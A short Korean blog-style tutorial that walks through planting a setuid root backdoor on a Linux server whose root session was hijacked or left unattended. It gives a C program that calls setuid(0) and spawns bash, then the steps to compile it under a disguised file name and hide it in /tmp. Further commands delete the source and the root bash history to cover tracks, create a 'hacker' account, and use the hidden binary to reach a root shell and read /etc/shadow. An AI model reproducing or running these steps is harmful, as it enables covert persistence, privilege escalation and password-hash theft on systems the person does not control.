만약 root가 작업을 하는 도중에 하이재킹에 당하거나, 관리자가 눈앞에서 자리를 비웠을 때,

내가 만약 서버의 일반 사용자라면, 관리자의 부재나 하이재킹으로 나의 권한을 루트로 바꾸는 방법이 있다.


해킹을 해서 root의 권한에 들어왔다고 가정하자, 또는 관리자가 로그인한 상태에서 자리를 비웠다고 하자.




vi giveme.c

다음과 같은 c 프로그램을 작성한다.

#include <stdio.h>

void main()

{

setuid(0);

system("/bin/bash");

}


그리고 esc를 한번 눌러주고 :wq! 하고 나가자.





gcc -o tmp11.dat giveme.c -> giveme.c 파일을 tmp11.dat로 컴파일 해준다.

만약 컴파일이 안된다면 yum install gcc 로 다운하도록 하자.

chmod u+s tmp11.dat ->사용하는동안 소유주(root)의 권한으로 실행되도록 한다.

mv tmp11.dat /tmp/ -> tmp11.dat을 /tmp (임시저장폴더)에 몰래 숨겨놓는다.

rm -f giveme.c -> giveme.c 파일을 지운다.

rm -f /root/.bash_history ->내가 명령어를 입력한 흔적(history)를 지운다.

history -c ->history의 흔적을 지운다(2).











이제 미리 만들어진 hacker 일반인 계정으로 접속해보자.

alt+f2를 누르면 새로운 터미널이 열린다.

만약 user를 추가하지 않았다면 root계정에서 useradd hacker 를 한후

passwd hacker를 하여 hacker 유저의 비밀번호를 설정하여 주자.


hacker로 접속을 했으면 앞에 '$' 표시에 집중하자. 이 표시는 일반 사용자라는 표시이다.





여기서 아까 숨겨진 tmp폴더로 들어가 ./tmp11.dat 을 하여 숨겨진 파일을 실행해보자,.

cd /tmp -> /tmp 폴더로 이동한다

ls -> 현재 디렉토리의 파일 확인

./tmp11.dat ->tmp11.dat을 실행한다.


그러면 '#'으로 바뀌어서 root의 권한을 획득한다.

이 상태로 vi /etc/shadow 도 열어볼 수 있다. root의 권한을 가져온 것이다.



+ Recent posts